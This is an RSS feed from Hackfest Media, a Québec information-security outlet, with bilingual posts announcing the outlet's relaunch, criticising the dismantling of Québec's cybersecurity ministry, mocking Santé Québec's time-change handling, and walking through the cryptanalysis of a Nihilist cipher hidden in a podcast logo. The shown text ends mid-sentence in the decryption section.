<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Hackfest Media</title>
    <link>https://media.hackfest.ca/</link>
    <atom:link href="https://media.hackfest.ca/feed.xml" rel="self" type="application/rss+xml" />
    <description>Nouvelles, analyses et opinions de la communauté de sécurité informatique du Québec. / News, analysis and opinion from Québec’s information security community.</description>
    <language>fr-CA</language>
    <copyright>© 2009–2026 Hackfest Communication</copyright>
    <lastBuildDate>Wed, 04 Nov 2026 17:44:06 +0000</lastBuildDate>
    <pubDate>Wed, 04 Nov 2026 09:00:00 +0000</pubDate>
    <image>
      <url>https://media.hackfest.ca/images/icons/favicon-32.png</url>
      <title>Hackfest Media</title>
      <link>https://media.hackfest.ca/</link>
    </image>
    <generator>Jekyll</generator>
    <item>
      <title>Hackfest Media is born</title>
      <link>https://media.hackfest.ca/en/blog/hackfest-media-is-born</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/hackfest-media-is-born</guid>
      <pubDate>Wed, 04 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>News &amp; opinion</category>
      <category>news</category>
      <category>Hackfest Media</category>
      <category>Hackfest</category>
      <category>securite.fm</category>
      <category>podcast</category>
      <category>sponsorship</category>
      <description>The Hackfest blog gets a new name and a bigger ambition: one place for our news, our opinions, our social media posts and the highlights of the podcast.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/hackfest-media-lancement.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p>The Hackfest blog is now <strong>Hackfest Media</strong>, at a new address: <a href="https://media.hackfest.ca">media.hackfest.ca</a>. Same community, same straight talk, but a bigger ambition: to be the place where Québec’s information security community gets the news, debates and meets.</p>

<p>Every article published since 2009 is still here, and old links still work. Every article is published in French and in English.</p>

<h2 id="what-youll-find-here">What you’ll find here</h2>

<p>Articles are sorted into eight categories:</p>

<ul>
  <li><a href="https://media.hackfest.ca/en/categories/nouvelles/">News &amp; opinion</a>: local cyber news and where we stand.</li>
  <li><a href="https://media.hackfest.ca/en/categories/rancongiciels/">Ransomware</a>: the attacks and the criminal groups targeting Québec and Canada.</li>
  <li><a href="https://media.hackfest.ca/en/categories/vulnerabilites/">Vulnerabilities</a>: vulnerability analyses, disclosures and fixes.</li>
  <li><a href="https://media.hackfest.ca/en/categories/fuites-donnees/">Leaks &amp; privacy</a>: data leaks, passwords and personal information.</li>
  <li><a href="https://media.hackfest.ca/en/categories/politique/">Policy &amp; regulation</a>: laws, regulators and government decisions.</li>
  <li><a href="https://media.hackfest.ca/en/categories/outils-projets/">Tools &amp; projects</a>: projects and tools published by the community.</li>
  <li><a href="https://media.hackfest.ca/en/categories/walkthroughs/">Walkthroughs &amp; CTF</a>: solutions to challenges and training rooms.</li>
  <li><a href="https://media.hackfest.ca/en/categories/cryptographie/">Cryptography &amp; puzzles</a>: ciphers, riddles and puzzles.</li>
</ul>

<h2 id="our-social-media-in-one-place">Our social media, in one place</h2>

<p>The comments and opinions we post on our social networks will now be published here too. A thread on LinkedIn or Mastodon fades fast. Here it stays, with its sources, and it’s easy to find, quote and share.</p>

<h2 id="the-securitefm-podcast">The securite.fm podcast</h2>

<p>Important clips and standout episodes of the <a href="https://securite.fm">securite.fm</a> podcast will also have their place on Hackfest Media, with the context and links to dig deeper.</p>

<h2 id="sponsor-hackfest-media">Sponsor Hackfest Media</h2>

<p>Hackfest Media can be sponsored. Want to support an independent outlet and reach Québec’s information security community directly? Packages and prices are on the <a href="https://media.hackfest.ca/en/sponsor">Sponsor</a> page.</p>

<h2 id="write-with-us">Write with us</h2>

<p>Have news, an analysis or an opinion to share? <a href="https://media.hackfest.ca/en/contact">Pitch an article</a>. To follow what we publish, subscribe to the <a href="https://media.hackfest.ca/en/feed.xml">RSS feed</a> or join the community on <a href="https://discord.hackfest.ca">Discord</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hackfest Media est né</title>
      <link>https://media.hackfest.ca/blog/naissance-hackfest-media</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/naissance-hackfest-media</guid>
      <pubDate>Wed, 04 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Nouvelles &amp; opinion</category>
      <category>nouvelles</category>
      <category>Hackfest Media</category>
      <category>Hackfest</category>
      <category>securite.fm</category>
      <category>podcast</category>
      <category>commandite</category>
      <description>Le blogue du Hackfest change de nom et d’ambition : un seul endroit pour nos nouvelles, nos opinions, nos publications des réseaux sociaux et les moments forts du podcast.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/hackfest-media-lancement.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p>Le blogue du Hackfest devient <strong>Hackfest Media</strong>, à une nouvelle adresse : <a href="https://media.hackfest.ca">media.hackfest.ca</a>. Même communauté, même franc-parler, mais une ambition plus grande : devenir l’endroit où la communauté de sécurité de l’information du Québec s’informe, débat et se retrouve.</p>

<p>Tous les articles publiés depuis 2009 sont toujours là, et les anciens liens fonctionnent encore. Chaque article est publié en français et en anglais.</p>

<h2 id="ce-que-vous-trouverez-ici">Ce que vous trouverez ici</h2>

<p>Les articles sont classés en huit catégories :</p>

<ul>
  <li><a href="https://media.hackfest.ca/categories/nouvelles/">Nouvelles &amp; opinion</a> : l’actualité cyber d’ici et nos prises de position.</li>
  <li><a href="https://media.hackfest.ca/categories/rancongiciels/">Rançongiciels</a> : les attaques et les groupes criminels qui ciblent le Québec et le Canada.</li>
  <li><a href="https://media.hackfest.ca/categories/vulnerabilites/">Vulnérabilités</a> : analyses de failles, divulgations et correctifs.</li>
  <li><a href="https://media.hackfest.ca/categories/fuites-donnees/">Fuites &amp; vie privée</a> : fuites de données, mots de passe et renseignements personnels.</li>
  <li><a href="https://media.hackfest.ca/categories/politique/">Politique &amp; réglementation</a> : lois, organismes de réglementation et décisions gouvernementales.</li>
  <li><a href="https://media.hackfest.ca/categories/outils-projets/">Outils &amp; projets</a> : les projets et outils publiés par la communauté.</li>
  <li><a href="https://media.hackfest.ca/categories/walkthroughs/">Walkthroughs &amp; CTF</a> : solutions de défis et de salles d’entraînement.</li>
  <li><a href="https://media.hackfest.ca/categories/cryptographie/">Cryptographie &amp; énigmes</a> : chiffrement, énigmes et casse-têtes.</li>
</ul>

<h2 id="nos-réseaux-sociaux-au-même-endroit">Nos réseaux sociaux, au même endroit</h2>

<p>Les commentaires et les opinions qu’on publie sur nos réseaux sociaux seront désormais publiés ici aussi. Un fil sur LinkedIn ou sur Mastodon disparaît vite. Ici, il reste, avec ses sources, et il est facile à retrouver, à citer et à partager.</p>

<h2 id="le-podcast-securitefm">Le podcast securite.fm</h2>

<p>Les extraits importants et les épisodes marquants du podcast <a href="https://securite.fm">securite.fm</a> auront aussi leur place sur Hackfest Media, avec le contexte et les liens pour aller plus loin.</p>

<h2 id="commanditer-hackfest-media">Commanditer Hackfest Media</h2>

<p>Hackfest Media peut être commandité. Vous voulez appuyer un média indépendant et rejoindre directement la communauté de la sécurité de l’information au Québec? Les forfaits et les tarifs sont sur la page <a href="https://media.hackfest.ca/commanditer">Commanditer</a>.</p>

<h2 id="écrivez-avec-nous">Écrivez avec nous</h2>

<p>Vous avez une nouvelle, une analyse ou une opinion à partager? <a href="https://media.hackfest.ca/contact">Proposez un article</a>. Et pour suivre ce qu’on publie, abonnez-vous au <a href="https://media.hackfest.ca/blog/feed.xml">flux RSS</a> ou rejoignez la communauté sur <a href="https://discord.hackfest.ca">Discord</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Québec dismantles its Ministry of Cybersecurity and Digital Affairs</title>
      <link>https://media.hackfest.ca/en/blog/quebec-dismantles-cybersecurity-digital-ministry</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/quebec-dismantles-cybersecurity-digital-ministry</guid>
      <pubDate>Tue, 03 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>News &amp; opinion</category>
      <category>news</category>
      <category>opinion</category>
      <category>MCN</category>
      <category>Treasury Board</category>
      <category>Alain Therrien</category>
      <category>Québec government</category>
      <category>polqc</category>
      <description>Dismantling the MCN without a bill, in the middle of a wave of cyberattacks, and handing the State’s security to the Treasury Board: a risk Québec can’t afford.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/mcn-demantelement-photo.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/2026/mcn-demantelement-photo.webp" alt="Radio-Canada photo from the article on the dismantling of the MCN" />
<em>Photo: Radio-Canada / Sylvain Roy Roussel.</em></p>

<p><a class="source-card" href="https://ici.radio-canada.ca/nouvelle/2297473/pq-demante-ministere-cybersecurite-numerique" rel="noopener" hreflang="fr"><span class="source-card__label">Source (in French)</span><span class="source-card__title" lang="fr">Le PQ démantèle le ministère de la Cybersécurité et du Numérique</span><span class="source-card__site">ici.radio-canada.ca ↗</span></a></p>

<p>Québec is dismantling its Ministry of Cybersecurity and Digital Affairs (Ministère de la Cybersécurité et du Numérique, MCN) and handing the security of the State to a minister with no experience in cybersecurity, IT or information security… in the middle of a cyberwar against cities, energy and food giants.</p>

<p>The ministry was dismantled without a bill. No vote in the National Assembly, and its 2,038 employees now report to the Treasury Board Secretariat (Secrétariat du Conseil du trésor, SCT).</p>

<p>The minister who inherits the State’s cybersecurity, Alain Therrien, is an economist. He has <strong>NO</strong> experience in IT, cybersecurity or information security. Except for 5 months as an opposition critic in 2015, when he criticized how budgets were managed. Let’s be honest: every government project has a budget problem.</p>

<p>But ransomware couldn’t care less about your government calls for tenders.</p>

<p>We’re not asking for a minister who codes. We’re asking for someone, somewhere, with ten or so years of experience in the field, who knows what they’re talking about.</p>

<h2 id="sources">Sources</h2>

<p>Most sources are in French.</p>

<ul class="sources">
  <li><a href="https://ici.radio-canada.ca/nouvelle/2297473/pq-demante-ministere-cybersecurite-numerique">The dismantling of the MCN</a> <span class="source-site">radio-canada.ca ↗</span></li>
  <li><a href="https://www.legisquebec.gouv.qc.ca/fr/document/lc/G-1.03">The role of the chief information officer</a> <span class="source-site">legisquebec.gouv.qc.ca ↗</span></li>
  <li><a href="https://www.assnat.qc.ca/fr/deputes/therrien-alain-12189/biographie.html">Alain Therrien’s background</a> <span class="source-site">assnat.qc.ca ↗</span></li>
  <li>His remarks on IT in 2015 (Committee on Public Finance)
    <ul>
      <li><a href="https://www.assnat.qc.ca/fr/travaux-parlementaires/commissions/cfp-41-1/journal-debats/CFP-150515.html">Session of May 15, 2015</a> <span class="source-site">assnat.qc.ca ↗</span></li>
      <li><a href="https://www.assnat.qc.ca/fr/travaux-parlementaires/commissions/cfp-41-1/journal-debats/CFP-151023.html">Session of October 23, 2015</a> <span class="source-site">assnat.qc.ca ↗</span></li>
    </ul>
  </li>
  <li><a href="https://moncarnet.com/2026/11/02/le-pq-demantele-le-ministere-de-la-cybersecurite-et-du-numerique-une-decision-qui-suscite-la-controverse/">His statement on IT contracts</a> <span class="source-site">moncarnet.com ↗</span></li>
  <li><a href="https://lereflet.qc.ca/alain-therrien-nomme-president-du-conseil-du-tresor/">“Keeping the purse strings tight”</a> <span class="source-site">lereflet.qc.ca ↗</span></li>
  <li><a href="https://gowlingwlg.com/en/insights-resources/articles/2025/quebec-stop-publishing-privacy-reports">The CAI no longer publishes the list of privacy incidents</a> <span class="source-site">gowlingwlg.com ↗</span></li>
  <li><a href="https://www.cai.gouv.qc.ca/actualites/publication-du-rapport-quinquennal-2026-de-la-commission">The CAI considers its resources insufficient</a> <span class="source-site">cai.gouv.qc.ca ↗</span></li>
  <li><a href="https://www.lapresse.ca/actualites/2026-02-16/fiasco-saaqclic/quelles-sont-les-recommandations-du-rapport-gallant.php">Recommendation no. 1 of the Gallant report</a> <span class="source-site">lapresse.ca ↗</span></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Québec démantèle le ministère de la Cybersécurité et du Numérique</title>
      <link>https://media.hackfest.ca/blog/quebec-demantele-ministere-cybersecurite-numerique</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/quebec-demantele-ministere-cybersecurite-numerique</guid>
      <pubDate>Tue, 03 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Nouvelles &amp; opinion</category>
      <category>nouvelles</category>
      <category>opinion</category>
      <category>MCN</category>
      <category>Conseil du trésor</category>
      <category>Alain Therrien</category>
      <category>gouvernement du Québec</category>
      <category>polqc</category>
      <description>Démanteler le MCN sans projet de loi, en pleine vague de cyberattaques, et confier la sécurité de l’État au Conseil du trésor : un risque que le Québec ne peut pas se permettre.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/mcn-demantelement-photo.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/2026/mcn-demantelement-photo.webp" alt="Photo de Radio-Canada accompagnant l’article sur le démantèlement du MCN" />
<em>Photo : Radio-Canada / Sylvain Roy Roussel.</em></p>

<p><a class="source-card" href="https://ici.radio-canada.ca/nouvelle/2297473/pq-demante-ministere-cybersecurite-numerique" rel="noopener"><span class="source-card__label">Source</span><span class="source-card__title">Le PQ démantèle le ministère de la Cybersécurité et du Numérique</span><span class="source-card__site">ici.radio-canada.ca ↗</span></a></p>

<p>Québec démantèle le ministère de la Cybersécurité et du Numérique du Québec (MCN) et confie la sécurité de l’État à un ministre sans expérience en cybersécurité, en TI et en sécurité de l’information… et ce, en pleine guerre informatique contre des villes, l’énergie et les géants de l’alimentaire.</p>

<p>Le démantèlement a été fait sans projet de loi. Pas de vote à l’Assemblée nationale, et ses 2 038 employés relèvent maintenant du Secrétariat du Conseil du trésor (SCT).</p>

<p>Le ministre qui hérite de la cybersécurité de l’État, Alain Therrien, est économiste. Il n’a <strong>AUCUNE</strong> expérience en TI, en cybersécurité ou en sécurité de l’information. Sauf 5 mois comme critique de l’opposition en 2015, où il critiquait la gestion des budgets. On s’entend, tous les projets gouvernementaux ont un problème de budget.</p>

<p>Mais un rançongiciel se fout pas mal de vos appels d’offres gouvernementaux.</p>

<p>On ne demande pas un ministre qui programme. On demande quelqu’un, quelque part, avec une dizaine d’années d’expérience dans le domaine, qui sait de quoi il parle.</p>

<h2 id="sources">Sources</h2>

<ul class="sources">
  <li><a href="https://ici.radio-canada.ca/nouvelle/2297473/pq-demante-ministere-cybersecurite-numerique">Le démantèlement du MCN</a> <span class="source-site">radio-canada.ca ↗</span></li>
  <li><a href="https://www.legisquebec.gouv.qc.ca/fr/document/lc/G-1.03">Le rôle du dirigeant principal de l’information</a> <span class="source-site">legisquebec.gouv.qc.ca ↗</span></li>
  <li><a href="https://www.assnat.qc.ca/fr/deputes/therrien-alain-12189/biographie.html">Le parcours d’Alain Therrien</a> <span class="source-site">assnat.qc.ca ↗</span></li>
  <li>Ses interventions sur l’informatique en 2015 (Commission des finances publiques)
    <ul>
      <li><a href="https://www.assnat.qc.ca/fr/travaux-parlementaires/commissions/cfp-41-1/journal-debats/CFP-150515.html">Séance du 15 mai 2015</a> <span class="source-site">assnat.qc.ca ↗</span></li>
      <li><a href="https://www.assnat.qc.ca/fr/travaux-parlementaires/commissions/cfp-41-1/journal-debats/CFP-151023.html">Séance du 23 octobre 2015</a> <span class="source-site">assnat.qc.ca ↗</span></li>
    </ul>
  </li>
  <li><a href="https://moncarnet.com/2026/11/02/le-pq-demantele-le-ministere-de-la-cybersecurite-et-du-numerique-une-decision-qui-suscite-la-controverse/">Sa déclaration sur les contrats informatiques</a> <span class="source-site">moncarnet.com ↗</span></li>
  <li><a href="https://lereflet.qc.ca/alain-therrien-nomme-president-du-conseil-du-tresor/">« Garder les cordons de la bourse serrés »</a> <span class="source-site">lereflet.qc.ca ↗</span></li>
  <li><a href="https://gowlingwlg.com/en/insights-resources/articles/2025/quebec-stop-publishing-privacy-reports">La CAI ne publie plus la liste des incidents de confidentialité</a> <span class="source-site">gowlingwlg.com ↗</span></li>
  <li><a href="https://www.cai.gouv.qc.ca/actualites/publication-du-rapport-quinquennal-2026-de-la-commission">La CAI juge ses ressources insuffisantes</a> <span class="source-site">cai.gouv.qc.ca ↗</span></li>
  <li><a href="https://www.lapresse.ca/actualites/2026-02-16/fiasco-saaqclic/quelles-sont-les-recommandations-du-rapport-gallant.php">La recommandation no 1 du rapport Gallant</a> <span class="source-site">lapresse.ca ↗</span></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Santé Québec invents hour compression</title>
      <link>https://media.hackfest.ca/en/blog/sante-quebec-time-compression</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/sante-quebec-time-compression</guid>
      <pubDate>Mon, 02 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>News &amp; opinion</category>
      <category>news</category>
      <category>opinion</category>
      <category>Santé Québec</category>
      <category>daylight saving time</category>
      <category>software development</category>
      <description>At the time change, two 1 a.m. hours become a single “logical hour”. Coded, approved, signed off and shipped to production: it’s not a bug, it’s a feature.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/sante-quebec-compression-temporelle.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/2026/sante-quebec-compression-temporelle.webp" alt="Santé Québec infographic (in French): “How time compression works”, where the two 1 a.m. hours are combined into a single logical hour" /></p>

<p>INCOMPETENCE. There is no other word for it.</p>

<p>Santé Québec has invented hour compression, a real farce!</p>

<ul>
  <li>A dev coded it.</li>
  <li>A project manager approved it.</li>
  <li>The administration signed off on it.</li>
  <li>And it went to production. 🤡</li>
</ul>

<p>It’s not a bug, it’s a <em>feature</em>, born from a series of failures.</p>

<p>🎥 Jean-René Dufort’s interview (in French): <a href="https://www.facebook.com/reel/1434156314822606">https://www.facebook.com/reel/1434156314822606</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Santé Québec invente la compression d’heures</title>
      <link>https://media.hackfest.ca/blog/sante-quebec-compression-temporelle</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/sante-quebec-compression-temporelle</guid>
      <pubDate>Mon, 02 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Nouvelles &amp; opinion</category>
      <category>nouvelles</category>
      <category>opinion</category>
      <category>Santé Québec</category>
      <category>heure normale</category>
      <category>développement logiciel</category>
      <description>Au changement d’heure, deux heures de 1 h deviennent une seule « heure logique ». Codée, approuvée, signée et mise en production : ce n’est pas un bogue, c’est une feature.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/sante-quebec-compression-temporelle.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/2026/sante-quebec-compression-temporelle.webp" alt="Infographie de Santé Québec : « Comment fonctionne la compression temporelle », où deux heures de 1 h sont combinées en une seule heure logique" /></p>

<p>INCOMPÉTENCE. Il n’y a pas d’autre mot.</p>

<p>Santé Québec invente la compression d’heures, une vraie farce!</p>

<ul>
  <li>Un dev l’a codée.</li>
  <li>Un gestionnaire de projet l’a approuvée.</li>
  <li>L’administration l’a signée.</li>
  <li>Et c’est parti en production. 🤡</li>
</ul>

<p>Ce n’est pas un bogue, c’est une <em>feature</em>, issue d’une série d’échecs.</p>

<p>🎥 L’entrevue de Jean-René Dufort : <a href="https://www.facebook.com/reel/1434156314822606">https://www.facebook.com/reel/1434156314822606</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cracking the message hidden in the La French Connection podcast logo</title>
      <link>https://media.hackfest.ca/en/blog/lfc-podcast-logo-cipher-cracked</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/lfc-podcast-logo-cipher-cracked</guid>
      <pubDate>Wed, 13 Dec 2023 08:00:00 +0000</pubDate>
      <dc:creator>Minkowski</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Cryptography &amp; puzzles</category>
      <category>La French Connection</category>
      <category>podcast</category>
      <category>encryption</category>
      <description>Since its very beginnings, the logo of the La French Connection podcast has displayed an encrypted message. Many people have dreamed of unravelling the mystery of this cipher. Fair warning to those who don’t want to break the spell: read no further, because this text reveals the secrets and the message behind the logo.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/logo-360x360.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<h1 id="summary">Summary</h1>
<p>Since its very beginnings, the logo of the <em>La French Connection</em> podcast
has displayed an encrypted message. Many people have dreamed of
unravelling the mystery of this cipher. Fair warning to those who don’t
want to break the spell: read no further, because this text reveals the
secrets and the message behind the logo. (1)</p>

<h1 id="analysis">Analysis</h1>

<p>Fans of the <em>La French Connection</em> podcast noticed long ago that the
bottom of the podcast’s logo bears a mysterious inscription that, without
a doubt, conceals a secret message (Figure 1).</p>

<h2 id="the-encrypted-message">The encrypted message</h2>

<p>The mysterious cipher is made up of 25 hexadecimal numbers. It is often
easier to convert hexadecimal numbers into decimal numbers.
<a href="https://gchq.github.io/CyberChef/">CyberChef</a> handles this kind of chore
very well (Table 1).</p>

<p><img src="https://media.hackfest.ca/images/posts/logo-360x360.webp" alt="Logo of the La French Connection podcast." /></p>

<p>Figure 1: Logo of the La French Connection podcast.</p>

<p>Table 1: The mysterious cipher.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 4E 39 44 60 35 63 3B 19 24 55 62 3A 2E 4F 56 42 4F 2D 21 3F 62 1C 26 3C 5F
 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95
</code></pre></div></div>

<h2 id="frequencies">Frequencies</h2>

<p>Since we’re already putting CyberChef to good use, we might as well take
advantage of it to run a frequency analysis. Figure 2 shows the result of
this analysis. We can see that out of 25 numbers, only two are repeated
(4F and 62). At the same time, the sequence is not random, since the
values are not evenly distributed across the range of 256 possible
numbers (from 00 to FF).</p>

<p><img src="https://media.hackfest.ca/images/posts/frequency.webp" alt="Frequency analysis of the numbers." /></p>

<p>Figure 2: Frequency analysis of the numbers.</p>

<p>These results allow us to rule out modern encryption or a hash function,
which would produce more uniform data. Moreover, we are not dealing with
a simple substitution cipher either, since there are few repetitions.
Because the encrypted message is very short, it is hard to carry out a
more thorough statistical analysis or to use brute force without first
identifying the encryption method.</p>

<p>Looking more closely at the decimal numbers, we notice that none of them
ends in 1, 2 or 4. In addition, the units digits are not evenly
distributed, as shown in Table 2. The distribution of the tens digit is a
bit more uniform, but there is no digit smaller than 20 at all (Table 3).</p>

<p>Table 2: Distribution of the units digit.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Unité       %
   0         4       
   3        12
   5        16
   6        20
   7         4
   8        28
   9        16
</code></pre></div></div>

<p>Table 3: Distribution of the tens digit.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Dizaine       %
    2          8
    3         12
    4          8
    5         16
    6         16
    7         12
    8          8
    9         20
</code></pre></div></div>

<h1 id="in-search-of-the-lost-cipher">In search of the lost cipher</h1>

<p>With the little information we have gathered, we can explore several
leads to try to identify the cipher that was used. The numbers in the
cipher were almost certainly generated using simple mathematical rules
that give them the characteristics we observed. A good place to start
looking for the cipher is <a href="https://www.dcode.fr/">dCode</a>. This site is a
valuable resource for learning more about codes and encryption. It offers
not only very detailed descriptions of several dozen classical ciphers,
but also tools to encode, decode and break some of them.</p>

<h2 id="polybius">Polybius</h2>

<p>We are probably dealing with a substitution or transposition cipher that
includes additional elements to make decryption harder. The most fun way
to identify the cipher used is to spend long hours exploring the various
classical ciphers, reading their descriptions, and encrypting and
decrypting different messages. It is also the most time-consuming method.
If you use it, you will probably end up stumbling on the Polybius cipher,
which uses the Polybius square, a 5x5 grid that maps each letter of the
alphabet to a number between 11 and 55. Table 4 shows one possible
square. Since the alphabet has 26 letters, one of them has to be
sacrificed. In this case, Z is sacrificed, but J, V or W are also
frequently dropped.</p>

<p>Table 4: Polybius square.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           1       2       3       4       5
 1         A       B       C       D       E
 2         F       G       H       I       J
 3         K       L       M       N       O
 4         P       Q       R       S       T
 5         U       V       W       X       Y
</code></pre></div></div>

<p>To encrypt a message using a Polybius square, you simply find the letter
in the table and replace it with the number formed by the row number
followed by the column number. For example, the letter Q would be
replaced by the number 42.</p>

<h2 id="polybius-on-steroids">Polybius on steroids</h2>

<p>To make life harder for the curious, you can use a key to change the
order of the letters in the grid. The word used must have distinct
letters. You write the letters of this secret word at the top of the grid
and continue with the remaining letters. For example, with the key HACK
we would get the square shown in Table 5.</p>

<p>Table 5: Polybius square with the key HACK.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5  
 1       H       A       C       K       B
 2       D       E       F       G       I
 3       J       L       M       N       O
 4       P       Q       R       S       T
 5       U       V       W       X       Y
</code></pre></div></div>

<p>The Polybius cipher shows a regularity in the numbers it uses, which
makes it easy to identify, since only the numbers 11, 12, 13, 14, 15, 21,
22, 23, 24, 25, 31, 32, 33, 34, 35, 41, 42, 43, 44, 45, 51, 52, 53, 54,
55 can be used.</p>

<h2 id="polybius-or-not-polybius-that-is-the-question">Polybius or not Polybius? That is the question!</h2>

<p>Although the Polybius cipher shares some similarities with the
characteristics of our message, the possible numbers do not match. So we
are dealing either with another cipher or with a variant of the Polybius
cipher using a different grid.</p>

<p>Reading up a bit more on the Polybius cipher, we find that it is often
associated with the Nihilist cipher, which is a superencryption of the
Polybius square. The Nihilist cipher can be recognized by the following
clues:</p>

<ul>
  <li>
    <p>Contains only numbers between 22 and 110.</p>
  </li>
  <li>
    <p>Contains none of the following numbers:<br />
21, 31, 41, 51, 61, 71, 81, 91, 101.</p>
  </li>
  <li>
    <p>The cipher comes with some kind of reference to Russia.</p>
  </li>
</ul>

<h2 id="mini-osint">Mini OSINT</h2>

<p>The first two characteristics match the secret message at the bottom of
the logo perfectly, but some mention of Russia in an episode would seal
the deal. A bit of white-belt Google Fu (<em>logo site:securite.fm</em>) reveals
that the encoded message in the logo is mentioned in episode 0x017
(around the 40-minute mark), as shown in Figure 3. In that episode,
Damien, ever the foodie, gives us a hint: "Poutine"... Unless he is
referring to another kind of "Putin", far less digestible.</p>

<p><img src="https://media.hackfest.ca/images/posts/googlefu.webp" alt="Episode 0x017 mentions the logo mystery." /></p>

<p>Figure 3: Episode 0x017 mentions the logo mystery.</p>

<h1 id="the-nihilist-cipher">The Nihilist cipher</h1>

<p>Made famous by its use by the Russian nihilists of the 19th century. This
cipher is easy to memorize and allows a message to be transmitted in
several ways. For example, Russian prisoners passed messages of this kind
by knocking on the walls of their cells a number of times corresponding
to the row and then the column of each letter.</p>

<h2 id="how-it-works">How it works</h2>

<p>The Nihilist cipher works simply:</p>

<ol>
  <li>
    <p>You choose a Polybius square, with the letters possibly scrambled
using a key agreed upon in advance. For example, the square in
Table 5.</p>
  </li>
  <li>
    <p>You encode the message with the grid. Each letter is assigned a
number corresponding to a row and a column. The message
"MESSAGESECRET" would, for example, become: 33 22 44 44 12 24 22 44
22 13 43 22 45.</p>
  </li>
  <li>
    <p>You choose a superencryption key and encode it with the Polybius
square. If you choose "PLANET" as the key, you get 41 32 12 34
22 45.</p>
  </li>
  <li>
    <p>You write the encoded key out as many times as needed under the
encoded message and add the two numbers together, as in Table 6.</p>
  </li>
</ol>

<p>Table 6: Superencryption.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   M    E    S    S    A    G    E    S    E    C    R    E    T
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
   33   22   44   44   12   24   22   44   22   13   43   22   45
   41   32   12   34   22   45   41   32   12   34   22   45   41
   74   54   56   78   34   69   63   76   34   47   65   67   86
</code></pre></div></div>

<p>What you end up with is a substitution cipher to which a key is
repeatedly added. In the end, you get a fractionated polyalphabetic
cipher, since two identical letters can be encoded differently depending
on their position in the message.</p>

<h2 id="vulnerabilities">Vulnerabilities</h2>

<p>The Nihilist cipher has multiple vulnerabilities, including those below:</p>

<ul>
  <li>
    <p>The superencryption key is repeated. When the encrypted message is
longer than the key, similarities can be observed between blocks of
text that are the same length as the key.</p>
  </li>
  <li>
    <p>There is a limited number of combinations for the additions. For
example, the number 80 can only be obtained with the additions
$25+55$ or $35+45$.</p>
  </li>
  <li>
    <p>The larger or smaller the numbers, the more limited the
possibilities. For example, 22 or 110 can only be obtained if the
encoded letter is the same as the superencryption key letter and
that letter is in the top-left or bottom-right corner of the grid,
respectively.</p>
  </li>
  <li>
    <p>A number with a 0 in the units position indicates that the numbers
added together come from the last column.</p>
  </li>
  <li>
    <p>Similarly, a number with a 2 in the units position comes from an
addition of numbers from the first column.</p>
  </li>
  <li>
    <p>Once the key length is identified and the key space narrowed down,
the key can be found (if it is a word) by deduction or with a
dictionary.</p>
  </li>
  <li>
    <p>Once the superencryption key is found, the problem boils down to a
simple substitution cipher, a Polybius cipher.</p>
  </li>
</ul>

<p>Cryptanalysis of the Nihilist cipher becomes much easier if the encoded
message is long and/or if we have another decoded message that was
encrypted with the same grid and the same superencryption key.
Unfortunately, in this case, we have neither of these helpful elements.</p>

<h1 id="decryption">Decryption</h1>

<p>There are very few repetitions in the encoded message, 78 57 68 96 53 99
